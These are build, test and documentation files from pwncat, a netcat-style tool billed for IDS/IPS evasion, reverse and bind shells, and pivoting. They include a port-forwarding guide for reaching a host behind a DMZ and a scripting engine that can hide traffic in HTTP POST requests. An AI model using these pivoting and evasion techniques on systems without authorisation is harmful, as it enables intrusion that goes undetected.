shell: bash 62 | run: | 63 | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.7 64 | 65 | - name: "[port scan] udp (with banner)" 66 | shell: bash 67 | run: | 68 | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.7 69 | -------------------------------------------------------------------------------- /.github/workflows/smoke-3.8.yml: -------------------------------------------------------------------------------- 1 | --- 2 | # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions 3 | # https://github.com/actions/python-versions/blob/master/versions-manifest.json 4 | name: smoke-3.8 5 | on: 6 | pull_request: 7 | push: 8 | branches: 9 | - master 10 | tags: 11 | 12 | jobs: 13 | test: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | fail-fast: False 17 | 18 | name: "[smoke] python-3.8" 19 | steps: 20 | # ------------------------------------------------------------ 21 | # Setup 22 | # ------------------------------------------------------------ 23 | - name: Checkout repository 24 | uses: actions/checkout@v2 25 | 26 | - name: Docker versions 27 | shell: bash 28 | run: | 29 | docker version 30 | 31 | - name: Docker Compose versions 32 | shell: bash 33 | run: | 34 | docker-compose version 35 | 36 | # ------------------------------------------------------------ 37 | # Tests: Behaviour 38 | # ------------------------------------------------------------ 39 | 40 | - name: "[keep-open] before send (kill srv)" 41 | shell: bash 42 | run: | 43 | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=3.8 44 | 45 | - name: "[keep-open] after send (kill srv)" 46 | shell: bash 47 | run: | 48 | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=3.8 49 | 50 | - name: "[port scan] tcp (no banner)" 51 | shell: bash 52 | run: | 53 | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=3.8 54 | 55 | - name: "[port scan] tcp (with banner)" 56 | shell: bash 57 | run: | 58 | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=3.8 59 | 60 | - name: "[port scan] udp (no banner)" 61 | shell: bash 62 | run: | 63 | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=3.8 64 | 65 | - name: "[port scan] udp (with banner)" 66 | shell: bash 67 | run: | 68 | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=3.8 69 | -------------------------------------------------------------------------------- /setup.py: -------------------------------------------------------------------------------- 1 | """Pip configuration.""" 2 | from setuptools import setup 3 | 4 | with open("README.md", "r") as fh: 5 | long_description = fh.read() 6 | 7 | setup( 8 | name="pwncat", 9 | version="0.1.2", 10 | description="Netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell and port forwarding magic - and its fully scriptable with Python (PSE).", 11 | license="MIT", 12 | long_description=long_description, 13 | long_description_content_type="text/markdown", 14 | author="cytopia", 15 | author_email="cytopia@everythingcli.org", 16 | url="https://pwncat.org/", 17 | install_requires=[], 18 | scripts=[ 19 | "bin/pwncat" 20 | ], 21 | project_urls={ 22 | 'Source Code': 'https://github.com/cytopia/pwncat', 23 | 'Documentation': 'https://docs.pwncat.org/', 24 | 'Bug Tracker': 'https://github.com/cytopia/pwncat/issues', 25 | }, 26 | classifiers=[ 27 | # https://pypi.org/classifiers/ 28 | # 29 | # How mature is this project 30 | "Development Status :: 4 - Beta", 31 | # Indicate who your project is intended for 32 | "Intended Audience :: Developers", 33 | "Intended Audience :: Information Technology", 34 | "Intended Audience :: Science/Research", 35 | "Intended Audience :: System Administrators", 36 | # Project topics 37 | "Topic :: Communications :: Chat", 38 | "Topic :: Communications :: File Sharing", 39 | "Topic :: Internet", 40 | "Topic :: Security", 41 | "Topic :: System :: Shells", 42 | "Topic :: System :: Systems Administration", 43 | "Topic :: Utilities", 44 | # License 45 | "License :: OSI Approved :: MIT License", 46 | # Specify the Python versions you support here. In particular, ensure 47 | # that you indicate whether you support Python 2, Python 3 or both. 48 | "Programming Language :: Python", 49 | "Programming Language :: Python :: 2", 50 | "Programming Language :: Python :: 3", 51 | # How does it run 52 | "Environment :: Console", 53 | # Where does it rnu 54 | "Operating System :: OS Independent", 55 | ], 56 | ) 57 | -------------------------------------------------------------------------------- /share/pkg/.lib/brew.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | 8 | VERSION="$( curl -sS --fail \ 9 | "https://raw.githubusercontent.com/cytopia/pwncat/master/setup.py" \ 10 | | grep -E '^\s+version=' \ 11 | | awk -F'"' '{print $2}' \ 12 | )" 13 | 14 | UA="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 15 | 16 | 17 | URL="$( curl -sS --fail \ 18 | -A "${UA}" "https://pypi.org/project/pwncat/${VERSION}/" \ 19 | -H "cache-control: no-cache" \ 20 | -H "dnt: 1" \ 21 | -H "pragma: no-cache" \ 22 | -H "accept-language: en-US,en;q=0.9,de;q=0.8" \ 23 | -H "accept-encoding: deflate, br" \ 24 | -H "accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" \ 25 | | grep -Eo 'https://files\.pythonhosted\..+?tar.gz' \ 26 | )" 27 | SHA256="$( curl -sS "${URL}" | sha256sum | awk '{print $1}' )" 28 | 29 | cat <<- EOF 30 | class Pwncat < Formula 31 | include Language::Python::Virtualenv 32 | 33 | desc "Netcat with FW/IDS/IPS evasion, self-inject-, bind- and reverse shell" 34 | homepage "https://pwncat.org" 35 | url "${URL}" 36 | sha256 "${SHA256}" 37 | license "MIT" 38 | head "https://github.com/cytopia/pwncat.git" 39 | 40 | bottle do 41 | sha256 cellar: :any_skip_relocation, arm64_big_sur: "3858b6511e81b5b8cee59724213d438f042f3cc80e3d87fb4eaa7df6771dd326" 42 | sha256 cellar: :any_skip_relocation, big_sur: "4c25ffa0c2a969ee67ecbb252c841471c5ea9e2ce87e581c130ec800db482b51" 43 | sha256 cellar: :any_skip_relocation, catalina: "192c19f127e900be34ca58bc3b7dec8b2fae412e53d2613396233f9e3fbb6123" 44 | sha256 cellar: :any_skip_relocation, mojave: "5eedc0f7cdfa07a82325e09c5a3bc37e7250ad1fc87f48062c99a3a21f5964ac" 45 | sha256 cellar: :any_skip_relocation, high_sierra: "9448463d98056aa3b6049f00261fea896e2a16712407f8c10fdf61d9d82dd61b" 46 | end 47 | 48 | depends_on "python@3.9" 49 | 50 | def install 51 | ENV.prepend_path "PATH", Formula["python@3.9"].opt_libexec/"bin" 52 | virtualenv_install_with_resources 53 | end 54 | 55 | test do 56 | system "echo HEAD | #{bin}/pwncat www.google.com 80 | grep ^HTTP" 57 | end 58 | end 59 | EOF 60 | -------------------------------------------------------------------------------- /tests/pipelines/template-smoke.yml.tpl: -------------------------------------------------------------------------------- 1 | --- 2 | # https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions 3 | # https://github.com/actions/python-versions/blob/master/versions-manifest.json 4 | name: __WORKFLOW_NAME__ 5 | on: 6 | pull_request: 7 | push: 8 | branches: 9 | - master 10 | tags: 11 | 12 | jobs: 13 | test: 14 | runs-on: ubuntu-latest 15 | strategy: 16 | fail-fast: False 17 | 18 | name: "__JOB_NAME__" 19 | steps: 20 | # ------------------------------------------------------------ 21 | # Setup 22 | # ------------------------------------------------------------ 23 | - name: Checkout repository 24 | uses: actions/checkout@v2 25 | 26 | - name: Docker versions 27 | shell: bash 28 | run: | 29 | docker version 30 | 31 | - name: Docker Compose versions 32 | shell: bash 33 | run: | 34 | docker-compose version 35 | 36 | # ------------------------------------------------------------ 37 | # Tests: Behaviour 38 | # ------------------------------------------------------------ 39 | 40 | - name: "[keep-open] before send (kill srv)" 41 | shell: bash 42 | run: | 43 | make _smoke-keep_open-kill_srv-before_send PYTHON_VERSION=__PYTHON_VERSION__ 44 | 45 | - name: "[keep-open] after send (kill srv)" 46 | shell: bash 47 | run: | 48 | make _smoke-keep_open-kill_srv-send_data PYTHON_VERSION=__PYTHON_VERSION__ 49 | 50 | - name: "[port scan] tcp (no banner)" 51 | shell: bash 52 | run: | 53 | make _smoke-tcp_port_scan-no_banner PYTHON_VERSION=__PYTHON_VERSION__ 54 | 55 | - name: "[port scan] tcp (with banner)" 56 | shell: bash 57 | run: | 58 | make _smoke-tcp_port_scan-with_banner PYTHON_VERSION=__PYTHON_VERSION__ 59 | 60 | - name: "[port scan] udp (no banner)" 61 | shell: bash 62 | run: | 63 | make _smoke-udp_port_scan-no_banner PYTHON_VERSION=__PYTHON_VERSION__ 64 | 65 | - name: "[port scan] udp (with banner)" 66 | shell: bash 67 | run: | 68 | make _smoke-udp_port_scan-with_banner PYTHON_VERSION=__PYTHON_VERSION__ 69 | -------------------------------------------------------------------------------- /share/doc/usage/remote-port-forwarding.rst: -------------------------------------------------------------------------------- 1 | ********************** 2 | Remote port forwarding 3 | ********************** 4 | 5 | Port forwarding is a pivoting feature of pwncat and works without the need of SSH. 6 | 7 | 8 | How does it work? 9 | ================= 10 | 11 | Remote port forwarding is a double client proxie or double reverse connection. It works by connecting to the target machine/port and also connects to your listener and then bridging the connection. 12 | 13 | **Scenario:** 14 | 15 | 1. Alice cannot be reached from the Outside 16 | 2. Alice is allowed to connect to the Outside (TCP/UDP) 17 | 3. Bob can only be reached from Alice's machine 18 | 4. pwncat then connects to Bob (on Alice's machine) and also to your listerner 19 | 20 | .. code-block:: bash 21 | 22 | | | 23 | Outside | DMZ | private subnet 24 | | | 25 | | | 26 | +-----------------+ TCP +-----------------+ TCP +-----------------+ 27 | | The cat | <----|----- | Alice | -----|----> | Bob | 28 | | | | | pwncat | | | MySQL | 29 | | 56.0.0.1 | | | 72.0.0.1:3306 | | | 10.0.0.1:3306 | 30 | +-----------------+ | +-----------------+ | +-----------------+ 31 | pwncat -l 4444 | pwncat --reconn \ | 32 | | -R 56.0.0.1:4444 \ | 33 | | 10.0.0.1 3306 | 34 | 35 | 36 | Examples 37 | ======== 38 | 39 | TCP remote port forwarding 40 | -------------------------- 41 | 42 | The following example connects to a remote MySQL server (remote port ``3306``) and then connects to another 43 | pwncat/netcat server on 10.0.0.1:4444 and bridges the traffic. 44 | 45 | .. code-block:: bash 46 | 47 | pwncat -R 10.0.0.1:4444 everythingcli.org 3306 48 | 49 | 50 | UDP remote port forwarding 51 | -------------------------- 52 | 53 | Same as the TCP example, but convert traffic on your end to UDP 54 | 55 | .. code-block:: bash 56 | 57 | pwncat -R 10.0.0.1:4444 everythingcli.org 3306 -u 58 | -------------------------------------------------------------------------------- /share/doc/Makefile: -------------------------------------------------------------------------------- 1 | ifneq (,) 2 | .error This Makefile requires GNU Make. 3 | endif 4 | 5 | # ------------------------------------------------------------------------------------------------- 6 | # Default configuration 7 | # ------------------------------------------------------------------------------------------------- 8 | .PHONY: help build autobuild linkcheck linkcheck2 9 | 10 | 11 | # ------------------------------------------------------------------------------------------------- 12 | # Default Target 13 | # ------------------------------------------------------------------------------------------------- 14 | 15 | help: 16 | @echo "build Build and test documentation" 17 | @echo "autobuild Continuously run and build (http://0.0.0.0:8000)" 18 | @echo "linkcheck Sphinx linkcheck" 19 | @echo "linkcheck2 Custom linkcheck" 20 | 21 | 22 | # ------------------------------------------------------------------------------------------------- 23 | # Target 24 | # ------------------------------------------------------------------------------------------------- 25 | 26 | linkcheck2: 27 | docker run \ 28 | --rm \ 29 | $$(tty -s && echo "-it" || echo) \ 30 | -v $(PWD):/data \ 31 | cytopia/linkcheck -l -k -r 60 -t 30 -e rst -c '200,204' _includes/ 32 | 33 | linkcheck: 34 | docker run \ 35 | --rm \ 36 | $$(tty -s && echo "-it" || echo) \ 37 | -e SPHINX_PROJECT="doc" \ 38 | -e SPHINX_PORT=8000 \ 39 | -e NEW_UID="$$(id -u)" \ 40 | -e NEW_GID="$$(id -g)" \ 41 | -v $(PWD)/..:/shared/httpd \ 42 | devilbox/python-sphinx:3.8-dev \ 43 | sphinx-build -M linkcheck . _build 44 | 45 | build: 46 | docker run \ 47 | --rm \ 48 | $$(tty -s && echo "-it" || echo) \ 49 | -e SPHINX_PROJECT="doc" \ 50 | -e SPHINX_PORT=8000 \ 51 | -e NEW_UID="$$(id -u)" \ 52 | -e NEW_GID="$$(id -g)" \ 53 | -v $(PWD)/..:/shared/httpd \ 54 | devilbox/python-sphinx:3.8-dev \ 55 | sphinx-build -a -E -n -j auto -W . _build/html 56 | 57 | autobuild: 58 | docker run \ 59 | --rm \ 60 | $$(tty -s && echo "-it" || echo) \ 61 | -e SPHINX_PROJECT="doc" \ 62 | -e SPHINX_PORT=8000 \ 63 | -e NEW_UID="$$(id -u)" \ 64 | -e NEW_GID="$$(id -g)" \ 65 | -p "8000:8000" \ 66 | -v $(PWD)/..:/shared/httpd \ 67 | devilbox/python-sphinx:3.8-dev \ 68 | sphinx-autobuild -a -E -n -j auto -W --host 0.0.0.0 --port 8000 . _build/html 69 | -------------------------------------------------------------------------------- /setup.cfg: -------------------------------------------------------------------------------- 1 | [metadata] 2 | description-file = README.md 3 | 4 | [bdist_wheel] 5 | universal=1 6 | 7 | # -------------------------------------------------------------------------------- 8 | # Linter 9 | # -------------------------------------------------------------------------------- 10 | [pycodestyle] 11 | max-line-length = 100 12 | statistics = True 13 | show-source = True 14 | show-pep8 = True 15 | 16 | [pydocstyle] 17 | convention = google 18 | # D107: Description is on the class level instead 19 | add_ignore = D107 20 | 21 | [flake8] 22 | max-line-length = 100 23 | 24 | [pylint] 25 | # useless-object-inheritance: don't lint useless-object-inheritance to stary Python2/3 compatible 26 | # bad-continuation: let Python Black take care of this 27 | # unidiomatic-typecheck: Need to check if int or bool and this doesnt work with isinstance() 28 | disable = useless-object-inheritance, bad-continuation, unidiomatic-typecheck, super-with-arguments, raise-missing-from, use-a-generator, consider-using-f-string, consider-using-dict-items, unused-private-member, unspecified-encoding 29 | max-branches = 30 30 | max-statements = 125 31 | max-args = 15 32 | max-attributes = 13 33 | max-locals = 37 34 | max-module-lines = 7000 35 | max-bool-expr = 6 36 | max-returns = 11 37 | min-public-methods = 1 38 | max-nested-blocks = 7 39 | # List of note tags to take in consideration, separated by a comma. 40 | #notes=FIXME,TODO 41 | notes=FIXME 42 | 43 | [mypy] 44 | # Display 45 | show_error_context = True 46 | show_column_numbers = True 47 | show_error_codes = True 48 | pretty = True 49 | color_output = True 50 | error_summary = True 51 | 52 | # Meta 53 | warn_unused_configs = True 54 | incremental = False 55 | show_traceback = True 56 | 57 | # Mode 58 | strict_optional = True 59 | show_none_errors = True 60 | 61 | # Allow 62 | disallow_any_expr = False 63 | disallow_any_explicit = False 64 | disallow_any_decorated = False 65 | 66 | # Deny 67 | disallow_any_unimported = True 68 | disallow_any_generics = True 69 | disallow_subclassing_any = True 70 | disallow_untyped_calls = True 71 | disallow_untyped_defs = True 72 | disallow_incomplete_defs = True 73 | check_untyped_defs = True 74 | disallow_untyped_decorators = True 75 | warn_redundant_casts = True 76 | warn_unused_ignores = True 77 | warn_no_return = True 78 | warn_return_any = True 79 | warn_unreachable = True 80 | allow_untyped_globals = False 81 | allow_redefinition = False 82 | 83 | [bandit] 84 | # B101: asserts 85 | # B404: blacklist (this is an offensive tool overall) 86 | skips = B101,B404 87 | -------------------------------------------------------------------------------- /share/doc/faq.rst: -------------------------------------------------------------------------------- 1 | *** 2 | FAQ 3 | *** 4 | 5 | .. contents:: Table of Contents 6 | :local: 7 | :class: local-toc 8 | 9 | 10 | 11 | General 12 | ======= 13 | 14 | How to install pwncat? 15 | ---------------------- 16 | `pwncat `_ is available on most Linux distributions (e.g. Kali Linux), on MacOS via `homebrew `_ and via `pip `_. 17 | See :doc:`installation` for detailed instructions. 18 | 19 | 20 | Does pwncat work on Linux? 21 | -------------------------- 22 | Yes, with Python2 or Python3 23 | 24 | Does pwncat work on MacOS? 25 | -------------------------- 26 | Yes, with Python2 or Python3 27 | 28 | Does pwncat work on Windows? 29 | ---------------------------- 30 | Yes, with Python2 or Python3 31 | 32 | Does pwncat work on \*BSD? 33 | -------------------------- 34 | Yes, with Python2 or Python3 35 | 36 | 37 | Terminology 38 | =========== 39 | 40 | What is pwncat? 41 | --------------- 42 | `pwncat `_ is a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat , ncat or socat. 43 | 44 | It comes with a Python Scripting Engine (PSE) that allows you to manipulate incoming and outgoing traffic to your needs. This can reach from wrapping current TCP/UDP traffic into higher protocols such as HTTP, FTP, Telnet, etc or even go to encrypting and decrypting your traffic. 45 | 46 | 47 | What is netcat? 48 | --------------- 49 | netcat is a computer networking utility for reading from and writing to network connections using TCP or UDP. The command is designed to be a dependable back-end that can be used directly or easily driven by other programs and scripts. At the same time, it is a feature-rich network debugging and investigation tool, since it can produce almost any kind of connection its user could need and has a number of built-in capabilities. `[1] `_ 50 | 51 | .. _what_is_a_reverse_shell: 52 | 53 | What is a reverse shell? 54 | ------------------------ 55 | A reverse shell is a type of shell that is initiated from a victim's computer to connect with attacker's computer. Once the connection is established, it allows attacker to send over commands to execute on the victim's computer and to get results back. `[2] `_ 56 | 57 | 58 | .. _what_is_a_bind_shell: 59 | 60 | What is a bind shell? 61 | --------------------- 62 | A bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server. `[3] `_ 63 | -------------------------------------------------------------------------------- /pse/README.md: -------------------------------------------------------------------------------- 1 | # Pwncat Scripting Engine (PSE) 2 | 3 | The Pwncat Scripting Engine is a flexible way to apply your own transformations to incoming and 4 | outgoing traffic (or generally speaking to all sorts of I/O). 5 | 6 | 7 | 8 | ## Available PSE's 9 | 10 | This directory contains a few example scripts, which can be used with pwncat's scripting engine. 11 | These scripts currently only serve as a way to give you an idea about how this can be used. 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 |
PSEDescriptionPython 2Python 3
asym-encBasic dummy asymmetric encryption for server/client communication.
http-postBasic dummy HTTP POST packer and unpacker (hide your traffic in HTTP POST requests).
chat-botBasic dummy chat bot that wants you to greet it, tell it your name and will then ask you a couple of questions.
43 | 44 | 45 | ## Usage 46 | 47 | The two command line arguments available are: 48 | 49 | 1. `--script-send`: which will apply the specified file prior sending data 50 | 2. `--script-recv`: which will apply the specified file after receiving data 51 | 52 | As an example to have the server apply some sort of transformation upon receive, you would start it like so: 53 | ```bash 54 | pwncat -l 4444 --script-recv /path/to/script.py 55 | ``` 56 | 57 | 58 | ## API 59 | 60 | 61 | General API documentation is available here: https://cytopia.github.io/pwncat/pwncat.api.html 62 | 63 | ### Entrypoint 64 | 65 | **Requirements:** The entrypoint function name must be `transform`, which takes two arguments (`data` which is a `str` containing the current input or output and `pse` which is a `PSEStore` instance) and return a string as its output. 66 | 67 | All you need to do is to create a Python file with the following function: 68 | 69 | ```python 70 | def transform(data, pse): 71 | # type: (str, PSEStore) -> str 72 | 73 | # ... here goes all the logic 74 | return data 75 | ``` 76 | 77 | ### data 78 | 79 | This is simply a string variable with the current input or output (depending on if the script was used by `--script-recv` or `--script-send`). 80 | 81 | 82 | ### pse 83 | 84 | This is an instance of `PSEStore` which gives you the possibility to persist data, exchange data between recv and send scripts, access the logger, the raw network and the signal handler. 85 | 86 | 87 | | Attribute | Type | Description | 88 | |-----------|------|-------------| 89 | | messages | `Dict[str, List[str]]` | Stores sent and received messages by its thread name. | 90 | | store | `Any` | Use this attribute to store your persistent data. | 91 | | ssig | `StopSignal` | StopSignal instance that allows you to call terminate on all threads. | 92 | | net | `List[IONetwork]` | List of all used network instances. Can be used to manipulate the active socket. | 93 | | log | `Logging.logger` | Logging instance to write your own log messages. | 94 | -------------------------------------------------------------------------------- /tests/bin/check-usage.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | 9 | 10 | README_PATH="${SCRIPTPATH}/../../README.md" 11 | WEBSITE_PATH="${SCRIPTPATH}/../../docs/index.html" 12 | BINARY_PATH="${SCRIPTPATH}/../../bin/pwncat" 13 | 14 | 15 | 16 | validate_readme() { 17 | local bin="${1}" 18 | local readme="${2}" 19 | 20 | printf "[TEST] Checking README.md ... " 21 | # shellcheck disable=SC2002 22 | if diff --ignore-trailing-space \ 23 | <($(which python2) "${bin}" -h) \ 24 | <(cat "${readme}" | grep -E -A 10000 'usage:[[:space:]]' | grep -E -B 10000 '^[[:space:]]+\-V') \ 25 | ; then 26 | printf "%s\\n" "OK" 27 | return 0 28 | fi 29 | printf "%s\\n" "ERROR" 30 | return 1 31 | } 32 | 33 | _diff_website() { 34 | local curr_arg="${1}" 35 | local next_arg="${2}" 36 | 37 | if ! diff --ignore-trailing-space --ignore-blank-lines \ 38 | <($(which python2) "${bin}" -h | grep "^${curr_arg}" -A 2000 | grep "^${next_arg}" -B 2000 | grep -v "^${next_arg}" ) \ 39 | <(grep "^${curr_arg}" -A 2000 "${website}" | grep "^${next_arg}" -B 2000 | grep -v "^${next_arg}" | grep -v '') \ 40 | ; then 41 | printf "%s\\n" "ERROR - usage" 42 | return 1 43 | fi 44 | } 45 | validate_website() { 46 | local bin="${1}" 47 | local website="${2}" 48 | local errors=0 49 | 50 | printf "[TEST] Checking Website (docs/index.html) ... " 51 | 52 | # [1/10] usage: 53 | if ! _diff_website "usage:" "positional arguments"; then 54 | errors=$(( errors + 1 )) 55 | fi 56 | # [2/10] positional arguments: 57 | if ! _diff_website "positional arguments" "mode arguments"; then 58 | errors=$(( errors + 1 )) 59 | fi 60 | # [3/10] mode arguments: 61 | if ! _diff_website "mode arguments" "optional arguments"; then 62 | errors=$(( errors + 1 )) 63 | fi 64 | # [4/10] optional arguments: 65 | if ! _diff_website "optional arguments" "protocol arguments"; then 66 | errors=$(( errors + 1 )) 67 | fi 68 | # [5/10] protocol arguments: 69 | if ! _diff_website "protocol arguments" "command & control arguments"; then 70 | errors=$(( errors + 1 )) 71 | fi 72 | # [6/10] command & control arguments: 73 | if ! _diff_website "command & control arguments" "pwncat scripting engine"; then 74 | errors=$(( errors + 1 )) 75 | fi 76 | # [7/10] pwncat scripting engine: 77 | if ! _diff_website "pwncat scripting engine" "zero-i/o mode arguments"; then 78 | errors=$(( errors + 1 )) 79 | fi 80 | # [8/10] zero-i/0 mode arguments: 81 | if ! _diff_website "zero-i/o mode arguments" "listen mode arguments"; then 82 | errors=$(( errors + 1 )) 83 | fi 84 | # [9/10] listen mode arguments: 85 | if ! _diff_website "listen mode arguments" "connect mode arguments"; then 86 | errors=$(( errors + 1 )) 87 | fi 88 | # [10/10] connect mode arguments: 89 | if ! _diff_website "connect mode arguments" "misc arguments"; then 90 | errors=$(( errors + 1 )) 91 | fi 92 | 93 | # [6/5] Check misc arguments: 94 | if ! diff --ignore-trailing-space --ignore-blank-lines \ 95 | <($(which python2) "${bin}" -h | grep 'misc arguments' -A 2000 | grep '\-\-version' -B 2000) \ 96 | <(grep 'misc arguments' -A 2000 "${website}" | grep '\-\-version' -B 2000) \ 97 | ; then 98 | printf "%s\\n" "ERROR - misc arguments" 99 | return 1 100 | fi 101 | 102 | if [ "${errors}" -eq "0" ]; then 103 | printf "%s\\n" "OK" 104 | return 0 105 | fi 106 | 107 | return 1 108 | } 109 | 110 | if ! validate_readme "${BINARY_PATH}" "${README_PATH}"; then 111 | exit 1 112 | fi 113 | 114 | if ! validate_website "${BINARY_PATH}" "${WEBSITE_PATH}"; then 115 | exit 1 116 | fi 117 | -------------------------------------------------------------------------------- /tests/smoke/README.md: -------------------------------------------------------------------------------- 1 | # Sigint (Ctrl+c) 2 | 3 | This tests the correct shutdown behaviour, simulating a user hitting Ctrl+c. 4 | 5 | 6 | **Note:** Currently the only way I was able to emulate Ctrl+c via `kill -2` for background processes was to run Docker and send the kill signal. When using `bash` on my host system and start it up via `pwncat ...&`, it is send into the background, but the job control catches `SIGINT` (`kill -2`) signals and doesn't let it through to the background process. So yeah, Docker it will be :-) 7 | 8 | 9 | ## Goal 10 | 11 | As `pwncat` makes heavy use of a lot of non-daemon threads, proper shutdown can sometimes be problematic. 12 | Some threads might end up in a blocking state and then the whole program can only be forcibly terminated with hitting Ctrl+c twice. This however is not desired as `pwncat` should always close properly. 13 | 14 | As I've fixed every shutdown bug already too many times and implemented it again, this CI smoke test will ensure I don't accidentally add new bugs to the shutdown behaviour and will also be able to discover any remaining bugs present. 15 | 16 | 17 | ## IMPORTANT 18 | 19 | Use the `Makefile` in the root directory to run the tests: 20 | ```bash 21 | make smoke 22 | ``` 23 | 24 | 25 | ## Checklist 26 | 27 | What is implemented? 28 | 29 | 30 | ### (1/4) TCP Checks 31 | 32 | Fresh start server and client for each checkbox below: 33 | ``` 34 | pwncat -vvvv -l 4444 35 | pwncat -vvvv localhost 4444 36 | ``` 37 | 38 | 1. [ ] (TCP) Ctrl+c on server (before sending any data) 39 | 2. [ ] (TCP) Ctrl+c on server (after sending data from server to client) 40 | 3. [ ] (TCP) Ctrl+c on server (after sending data from client to server) 41 | 4. [ ] (TCP) Ctrl+c on client (before sending any data) 42 | 5. [ ] (TCP) Ctrl+c on client (after sending data from server to client) 43 | 6. [ ] (TCP) Ctrl+c on client (after sending data from client to server) 44 | 45 | 46 | ### (2/4) UDP Checks 47 | 48 | Fresh start server and client for each checkbox below: 49 | ``` 50 | pwncat -u -vvvv -l 4444 51 | pwncat -u -vvvv localhost 4444 52 | ``` 53 | 54 | 1. [ ] (UDP) Ctrl+c on server (before sending any data) 55 | 2. [ ] (UDP) Ctrl+c on server (after sending data from server to client) 56 | 3. [ ] (UDP) Ctrl+c on server (after sending data from client to server) 57 | 4. [ ] (UDP) Ctrl+c on client (before sending any data) 58 | 5. [ ] (UDP) Ctrl+c on client (after sending data from server to client) 59 | 6. [ ] (UDP) Ctrl+c on client (after sending data from client to server) 60 | 61 | 62 | ### (3/4) --keep-open checks 63 | 64 | Fresh start server and client for each checkbox below: 65 | ``` 66 | pwncat -vvvv -l 4444 --keep-open 67 | pwncat -vvvv localhost 4444 68 | ``` 69 | 70 | 1. [X] (TCP) Ctrl+c on server (before sending any data) 71 | 2. [X] (TCP) Ctrl+c on server (after sending data from server to client) 72 | 3. [ ] (TCP) Ctrl+c on server (after sending data from client to server) 73 | 4. [ ] (TCP) Ctrl+c on client (before sending any data) 74 | 5. [ ] (TCP) Ctrl+c on client (after sending data from server to client) 75 | 6. [ ] (TCP) Ctrl+c on client (after sending data from client to server) 76 | 77 | ### (4/4) --reconn checks 78 | 79 | Fresh start server and client for each checkbox below: 80 | ``` 81 | pwncat -vvvv -l 4444 82 | pwncat -vvvv localhost 4444 --reconn 83 | ``` 84 | 85 | 1. [ ] (TCP) Ctrl+c on server (before sending any data) 86 | 2. [ ] (TCP) Ctrl+c on server (after sending data from server to client) 87 | 3. [ ] (TCP) Ctrl+c on server (after sending data from client to server) 88 | 4. [ ] (TCP) Ctrl+c on client (before sending any data) 89 | 5. [ ] (TCP) Ctrl+c on client (after sending data from server to client) 90 | 6. [ ] (TCP) Ctrl+c on client (after sending data from client to server) 91 | -------------------------------------------------------------------------------- /tests/integration/01-behaviour-quit--client/201---tcp---client_quites---when_invalid_http_request.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | set -e 4 | set -u 5 | set -o pipefail 6 | 7 | SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" 8 | SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" 9 | BINARY="${SCRIPTPATH}/../../../bin/pwncat" 10 | # shellcheck disable=SC1090 11 | source "${SOURCEPATH}" 12 | 13 | 14 | # ------------------------------------------------------------------------------------------------- 15 | # GLOBALS 16 | # ------------------------------------------------------------------------------------------------- 17 | 18 | RHOST="www.google.com" 19 | RPORT="80" 20 | 21 | #STARTUP_WAIT="${3:-4}" 22 | RUNS="${4:-1}" 23 | 24 | PYTHON="python${5:-}" 25 | PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" 26 | 27 | 28 | # ------------------------------------------------------------------------------------------------- 29 | # TEST FUNCTIONS 30 | # ------------------------------------------------------------------------------------------------- 31 | print_test_case "${PYVER}" 32 | 33 | run_test() { 34 | local cli_opts="${1// / }" 35 | local curr_mutation="${2}" 36 | local total_mutation="${3}" 37 | local curr_round="${4}" 38 | local total_round="${5}" 39 | local data= 40 | 41 | print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (cli '${cli_opts}')" 42 | 43 | ### 44 | ### Create data and files 45 | ### 46 | data="$(tmp_file)" 47 | printf "HEAD /\\n\\n" > "${data}" 48 | cli_stdout="$(tmp_file)" 49 | cli_stderr="$(tmp_file)" 50 | 51 | 52 | # -------------------------------------------------------------------------------- 53 | # START: CLIENT 54 | # -------------------------------------------------------------------------------- 55 | print_h2 "(1/3) Start: Client" 56 | 57 | # Start Client 58 | print_info "Start Client" 59 | # shellcheck disable=SC2086 60 | if ! cli_pid="$( run_bg "cat ${data}" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then 61 | printf "" 62 | fi 63 | 64 | 65 | # -------------------------------------------------------------------------------- 66 | # DATA TRANSFER 67 | # -------------------------------------------------------------------------------- 68 | print_h2 "(2/3) Transfer: Client -> Google -> Client" 69 | 70 | # [CLIENT] -> [GOOGLE] -> CLIENT] 71 | wait_for_data_transferred "Bad Request" "" "" "Client" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" 72 | 73 | 74 | # -------------------------------------------------------------------------------- 75 | # TEST: Client shut down automatically 76 | # 